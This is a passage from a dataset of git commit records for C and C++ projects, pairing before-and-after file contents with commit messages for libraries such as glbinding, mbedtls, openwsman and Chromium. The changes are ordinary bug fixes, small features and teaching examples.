functions\n","lang":"C","license":"mit","repos":"tree-sitter\/tree-sitter-cli,tree-sitter\/node-tree-sitter-compiler,tree-sitter\/node-tree-sitter-compiler,tree-sitter\/tree-sitter-cli,tree-sitter\/tree-sitter-cli,tree-sitter\/node-tree-sitter-compiler,maxbrunsfeld\/node-tree-sitter-compiler,tree-sitter\/tree-sitter-cli,maxbrunsfeld\/node-tree-sitter-compiler,maxbrunsfeld\/node-tree-sitter-compiler,tree-sitter\/node-tree-sitter-compiler"}
{"commit":"10bdcdef15256a5cd9c181ae928c22b35ae77a58","old_file":"source\/glbinding\/include\/glbinding\/nogl.h","new_file":"source\/glbinding\/include\/glbinding\/nogl.h","old_contents":"\n#pragma once\n\n#ifdef __gl_h_\n    #error \"glbinding is not compatible with gl.h\"\n#else\n    #define __gl_h_\n#endif\n","new_contents":"\n#ifdef __gl_h_\n    #error \"glbinding is not compatible with gl.h\"\n#endif\n","subject":"Revert gl.h emulation using __gl_h_ include guard","message":"Revert gl.h emulation using __gl_h_ include guard","lang":"C","license":"mit","repos":"j-o\/glbinding,mcleary\/glbinding,hpicgs\/glbinding,cginternals\/glbinding,mcleary\/glbinding,hpicgs\/glbinding,j-o\/glbinding,mcleary\/glbinding,hpicgs\/glbinding,j-o\/glbinding,j-o\/glbinding,mcleary\/glbinding,cginternals\/glbinding,hpicgs\/glbinding"}
{"commit":"952b304e49a1153c11acf9230021516f96b805c8","old_file":"Stack\/link_list_stack.c","new_file":"Stack\/link_list_stack.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\/* This is Stack Implementation using a Linked list *\/\n#define MAXSIZE 101\n#define BOOL_PRINT(bool_expr) \"%s\\n\", (bool_expr) ? \"true\" : \"false\"\n\ntypedef struct node{\n\tint data;\n\tstruct node* link;\n} node;\n\nnode* head; \/\/global variable\n\nnode* create_newnode(int x){\n\t\tnode* temp;\n\t\ttemp = (node*) malloc (sizeof(node));\n\t\ttemp->data =x;\n\t\ttemp->link=NULL;\n\t\treturn temp;\n\t\n}\n\n\nvoid push(int data){\n\t\/\/this is equivalent to add a node at begining of the linked list\n\tnode* temp;\n\ttemp =create_newnode(data);\n\ttemp->link = head;\n\thead = temp;\n}\n\nint pop(){\n\t\/\/this is equivalent to delete a node at begining of the linked list\n\tif(head != NULL ){\n\tnode* temp = head;\n\thead = temp->link;\n\treturn temp->data;\n\t}\n\n\telse{\n\t\tprintf(\"Error: Stack is empty \\n\");\n\t\treturn -1;\n\t}\n}\n\n\nint isEmpty(){\n\t\/\/this is equivalent to checking if the linked list is empty\n\tif(head != NULL) return false;\n\telse return true;\n}\n\nvoid stack_print(){\n\n\t\/\/this is equivalent to printing a linked list while traversing\n\tprintf(\"Stack is : \");\n\n\tnode* temp = head;\n\twhile(temp != NULL){\n\t\tprintf(\"%d \", temp->data);\n\t\ttemp = temp->link;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\t\n\tint i;\n\tprintf(\"is stack empty? \\n\");\n\tprintf(BOOL_PRINT(isEmpty()));\n\t\n\tpush(10);\n\tpush(11);\n\tpush(12);\n\tpush(15);\n\n\ti = pop();\n\tprintf(\"Popped data is %d\\n\",i );\n\n\tstack_print(); \n\n\treturn 0;\n}","subject":"Add Linked List implementation of stack","message":"Add Linked List implementation of stack\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"a93e50dba9a0528ba2bebe76601b933259b684d1","old_file":"src\/math\/p_sinh.c","new_file":"src\/math\/p_sinh.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates the hyperbolic sine of the vector 'a'. Angles are specified\n * in radians.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_sinh_f32(const float *a, float *c, int n)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = sinhf(*(a + i));\n    }\n}\n","new_contents":"#include <pal.h>\n\n\/*\n * sinh z = (exp z - exp(-z)) \/ 2\n *\/\nstatic inline float _p_sinh(const float z)\n{\n    float exp_z;\n    p_exp_f32(&z, &exp_z, 1);\n    return 0.5f * (exp_z - 1.f \/ exp_z);\n}\n\n\/**\n *\n * Calculates the hyperbolic sine of the vector 'a'. Angles are specified\n * in radians.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_sinh_f32(const float *a, float *c, int n)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        c[i] = _p_sinh(a[i]);\n    }\n}\n","subject":"Implement the hyperbolic sine function.","message":"math:sinh: Implement the hyperbolic sine function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"mateunho\/pal,eliteraspberries\/pal,mateunho\/pal,Adamszk\/pal3,olajep\/pal,eliteraspberries\/pal,eliteraspberries\/pal,aolofsson\/pal,parallella\/pal,mateunho\/pal,8l\/pal,parallella\/pal,aolofsson\/pal,8l\/pal,Adamszk\/pal3,debug-de-su-ka\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,8l\/pal,parallella\/pal,debug-de-su-ka\/pal,olajep\/pal,Adamszk\/pal3,mateunho\/pal,debug-de-su-ka\/pal,olajep\/pal,parallella\/pal,Adamszk\/pal3,mateunho\/pal,aolofsson\/pal,eliteraspberries\/pal,8l\/pal,olajep\/pal,aolofsson\/pal,debug-de-su-ka\/pal,parallella\/pal"}
{"commit":"d8a298e1fcb31c55bd99230835ab7305cf7c5e03","old_file":"library\/md_internal.h","new_file":"library\/md_internal.h","old_contents":"","new_contents":"\/**\n *  Internal MD\/hash functions - no crypto, just data.\n *  This is used to avoid depending on MD_C just to query a length.\n *\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef MBEDTLS_MD_INTERNAL_H\n#define MBEDTLS_MD_INTERNAL_H\n\n#include \"common.h\"\n\n#include \"mbedtls\/md.h\"\n\n\/** Get the output length of the given hash type\n *\n * \\param md_type   The hash type.\n *\n * \\return          The output length in bytes, or 0 if not known\n *\/\nstatic inline unsigned char mbedtls_md_internal_get_size( mbedtls_md_type_t md_type )\n{\n    switch( md_type )\n    {\n#if defined(MBEDTLS_MD5_C) || defined(PSA_WANT_ALG_MD5)\n        case MBEDTLS_MD_MD5:\n            return( 16 );\n#endif\n#if defined(MBEDTLS_RIPEMD160_C) || defined(PSA_WANT_ALG_RIPEMD160) || \\\n    defined(MBEDTLS_SHA1_C) || defined(PSA_WANT_ALG_SHA_1)\n        case MBEDTLS_MD_RIPEMD160:\n        case MBEDTLS_MD_SHA1:\n            return( 20 );\n#endif\n#if defined(MBEDTLS_SHA224_C) || defined(PSA_WANT_ALG_SHA_224)\n        case MBEDTLS_MD_SHA224:\n            return( 28 );\n#endif\n#if defined(MBEDTLS_SHA256_C) || defined(PSA_WANT_ALG_SHA_256)\n        case MBEDTLS_MD_SHA256:\n            return( 32 );\n#endif\n#if defined(MBEDTLS_SHA384_C) || defined(PSA_WANT_ALG_SHA_384)\n        case MBEDTLS_MD_SHA384:\n            return( 48 );\n#endif\n#if defined(MBEDTLS_SHA512_C) || defined(PSA_WANT_ALG_SHA_512)\n        case MBEDTLS_MD_SHA512:\n            return( 64 );\n#endif\n        default:\n            return( 0 );\n    }\n}\n\n#endif \/* MBEDTLS_MD_INTERNAL_H *\/\n","subject":"Add internal MD size getter","message":"Add internal MD size getter\n\nModules \/ tests that only need to get the size of a hash from its type,\nwithout actually computing a hash, need not depend on MD_C.\n\nSigned-off-by: Manuel Pégourié-Gonnard <4ba0d615aeeda88e422ca8fba28fe2938485facf@arm.com>\n","lang":"C","license":"apache-2.0","repos":"ARMmbed\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,Mbed-TLS\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls"}
{"commit":"cd7dd0d229447082a6152623d4757470aeba29ad","old_file":"examples\/c-library\/c-library.h","new_file":"examples\/c-library\/c-library.h","old_contents":"\/**\n * Example of a typical library providing a C-interface\n *\/\n\n#pragma once\n\n#include \"ivi-main-loop-c.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstatic IVIMainLoop_EventSource_ReportStatus callbackMyCLibrary(const void *data)\n{\n    printf(\"callbackMyCLibrary\\n\");\n    return IVI_MAIN_LOOP_KEEP_ENABLED;\n}\n\n\/**\n * Initialize the library using the given source manager object where the library is going to add its event sources\n *\/\ninline void my_c_library_init_function(IVIMainLoop_EventSourceManager *sourceManager)\n{\n    IVIMainLoop_TimeOut_CallBack callback = {.function = callbackMyCLibrary, .data = NULL};\n    IVIMainLoop_TimeOutEventSource *source = ivi_main_loop_timeout_source_new(sourceManager, callback, 300);\n    ivi_main_loop_timeout_source_enable(source);\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/**\n * Example of a typical library providing a C-interface\n *\/\n\n#pragma once\n\n#include \"ivi-main-loop-c.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstatic IVIMainLoop_EventSource_ReportStatus callbackMyCLibrary(const void *data)\n{\n    printf(\"callbackMyCLibrary\\n\");\n    return IVI_MAIN_LOOP_KEEP_ENABLED;\n}\n\n\/**\n * Initialize the library using the given source manager object where the library is going to add its event sources\n *\/\nstatic inline void my_c_library_init_function(IVIMainLoop_EventSourceManager *sourceManager)\n{\n    IVIMainLoop_TimeOut_CallBack callback = {.function = callbackMyCLibrary, .data = NULL};\n    IVIMainLoop_TimeOutEventSource *source = ivi_main_loop_timeout_source_new(sourceManager, callback, 300);\n    ivi_main_loop_timeout_source_enable(source);\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Add missing static for inline functions (GCC 5)","message":"Add missing static for inline functions (GCC 5)\n","lang":"C","license":"mpl-2.0","repos":"Pelagicore\/ivi-main-loop,Pelagicore\/ivi-main-loop"}
{"commit":"6b710c2c11befa8258d4bacbc49e032cfd15a441","old_file":"src\/server\/wse-server-test.c","new_file":"src\/server\/wse-server-test.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <time.h>\n\n#include \"ws-eventing.h\"\n#include \"wsman-debug.h\"\n\nstatic char g_event_source_url[] = \"http:\/\/www.otc_event.com\/event_source\";\nstatic EventingH  g_event_handler;\n\nstatic void *publish_events(void *soap_handler);\n\nvoid start_event_source(SoapH soap)\n{\n   pthread_t  publiser_thread;\n\n   g_event_handler = wse_initialize_server(soap, g_event_source_url);\n   pthread_create(&publiser_thread, NULL, publish_events, soap);\n   \n   printf(\"Eventing source started...\\n\");\n}\n\nvoid *publish_events(void *soap_handler)\n{\n   char            *action_list[] = {\"random_event\"};\n   WsePublisherH   publisher_handler;\n   WsXmlDocH       event_doc;\n   struct timespec time_val = {10, 0};\n   \n   publisher_handler = wse_publisher_initialize((EventingH)g_event_handler, 1, action_list, NULL, NULL);\n\n   while(1)\n   {\n      nanosleep(&time_val, NULL);\n      event_doc = ws_xml_create_doc((SoapH)soap_handler, \"rootNsUri\", \"rootName\");  \/\/TBD\n      wse_send_notification(publisher_handler, event_doc, \"http:\/\/otc.eventing.org\/\");      \n   }\n}\n","subject":"Test code for ws-eventing server side","message":"Test code for ws-eventing server side\n\n","lang":"C","license":"bsd-3-clause","repos":"kolbma\/openwsman,Openwsman\/openwsman,Openwsman\/openwsman,Openwsman\/openwsman,Openwsman\/openwsman,vcrhonek\/openwsman,kkaempf\/openwsman,kolbma\/openwsman,vcrhonek\/openwsman,photron\/openwsman,vcrhonek\/openwsman,photron\/openwsman,kkaempf\/openwsman,photron\/openwsman,kolbma\/openwsman,photron\/openwsman,vcrhonek\/openwsman,Openwsman\/openwsman,kkaempf\/openwsman,kkaempf\/openwsman,kkaempf\/openwsman,vcrhonek\/openwsman,vcrhonek\/openwsman,Openwsman\/openwsman,kolbma\/openwsman,kkaempf\/openwsman,kolbma\/openwsman,photron\/openwsman,kolbma\/openwsman,photron\/openwsman,photron\/openwsman,kolbma\/openwsman,kkaempf\/openwsman,vcrhonek\/openwsman,Openwsman\/openwsman"}
{"commit":"34140265c404df02af11ed7684b7c087dfe5b8c8","old_file":"chrome\/browser\/cocoa\/objc_zombie.h","new_file":"chrome\/browser\/cocoa\/objc_zombie.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombies.  Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombie object debugging. This implements a variant of Apple's\n\/\/ NSZombieEnabled which can help expose use-after-free errors where messages\n\/\/ are sent to freed Objective-C objects in production builds.\n\/\/\n\/\/ Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","subject":"Add link to explanation of what we mean by zombie The person triaging \/ debugging a zombie crash may never have heard of this before.","message":"Add link to explanation of what we mean by zombie\nThe person triaging \/ debugging a zombie crash may never have heard of this before.\n\nBUG=None\nTEST=None\n\nReview URL: http:\/\/codereview.chromium.org\/3763002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@62723 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,timopulkkinen\/BubbleFish,rogerwang\/chromium,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,robclark\/chromium,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,robclark\/chromium,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,rogerwang\/chromium,jaruba\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,rogerwang\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk,keishi\/chromium,ondra-novak\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,keishi\/chromium,rogerwang\/chromium,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,rogerwang\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,littlstar\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,keishi\/chromium,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,hujiajie\/pa-chromium,ltilve\/chromium,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,littlstar\/chromium.src,M4sse\/chromium.src,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,Chilledheart\/chromium,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,keishi\/chromium,Jonekee\/chromium.src,Chilledheart\/chromium,nacl-webkit\/chrome_deps,patrickm\/chromium.src,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,Just-D\/chromium-1,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,rogerwang\/chromium,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,Chilledheart\/chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,robclark\/chromium,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,M4sse\/chromium.src,ltilve\/chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,zcbenz\/cefode-chromium,robclark\/chromium,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,rogerwang\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,keishi\/chromium,Just-D\/chromium-1,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,Jonekee\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,ltilve\/chromium,timopulkkinen\/BubbleFish,Chilledheart\/chromium,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,keishi\/chromium,M4sse\/chromium.src,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,robclark\/chromium,Jonekee\/chromium.src,Jonekee\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,dushu1203\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,anirudhSK\/chromium,M4sse\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,keishi\/chromium,anirudhSK\/chromium,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,anirudhSK\/chromium,M4sse\/chromium.src,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,ltilve\/chromium,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,rogerwang\/chromium,Jonekee\/chromium.src,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk"}
{"commit":"28745fcea6f0fe7e26f565ab756bdc2bbb174abc","old_file":"Sub-Terra\/include\/Text.h","new_file":"Sub-Terra\/include\/Text.h","old_contents":"#pragma once\n\n#include \"Sprite.h\"\n#include \"FontAsset.h\"\n\nclass Text : public Sprite {\nprivate:\n\tstd::shared_ptr<FontAsset> asset;\n\tstd::string str;\npublic:\n\tText(std::shared_ptr<FontAsset> asset, const std::string str, const Point2 pos = Point2(0), const Origin origin = Origin::BottomLeft,\n\t\tconst Point4 color = Point4(1), const Point2 scale = Point2(-1))\n\t\t: asset(asset), str(str), Sprite(pos, origin, color, scale) {}\n\n\tvoid RenderMe() override final {\n\t\tSDL(surface = TTF_RenderUTF8_Blended(asset->font, str.data(), { 255, 255, 255, 255 }));\n\t}\n\n\tvoid SetText(const std::string str) {\n\t\tthis->str = str;\n\t\tRender();\n\t}\n};\n","new_contents":"#pragma once\n\n#include \"Sprite.h\"\n#include \"FontAsset.h\"\n\nclass Text : public Sprite {\nprivate:\n\tstd::shared_ptr<FontAsset> asset;\n\tstd::string str;\npublic:\n\tText(std::shared_ptr<FontAsset> asset, const std::string str, const Point2 pos = Point2(0), const Origin origin = Origin::BottomLeft,\n\t\tconst Point4 color = Point4(1), const Point2 scale = Point2(-1))\n\t\t: asset(asset), str(str), Sprite(pos, origin, color, scale) {}\n\n\tvoid RenderMe() override final {\n\t\t\/\/ we render the outline first to make a drop-shadow effect\n\n\t\tSDL(TTF_SetFontOutline(asset->font, 2));\n\t\tSDL(surface = TTF_RenderUTF8_Blended(asset->font, str.data(), { 0, 0, 0, 255 }));\n\n\t\t\/\/ then we render the foreground and blit it on top of the outline\n\n\t\tSDL(TTF_SetFontOutline(asset->font, 0));\n\t\tSDL_Surface *fg;\n\t\tSDL(fg = TTF_RenderUTF8_Blended(asset->font, str.data(), { 255, 255, 255, 255 }));\n\t\tSDL(SDL_BlitSurface(fg, NULL, surface, NULL));\n\t\tSDL(SDL_FreeSurface(fg));\n\t}\n\n\tvoid SetText(const std::string str) {\n\t\tthis->str = str;\n\t\tRender();\n\t}\n};\n","subject":"Add black drop-shadow outline to text","message":"Add black drop-shadow outline to text\n","lang":"C","license":"mpl-2.0","repos":"shockkolate\/polar4,shockkolate\/polar4,polar-engine\/polar,shockkolate\/polar4,polar-engine\/polar,shockkolate\/polar4"}
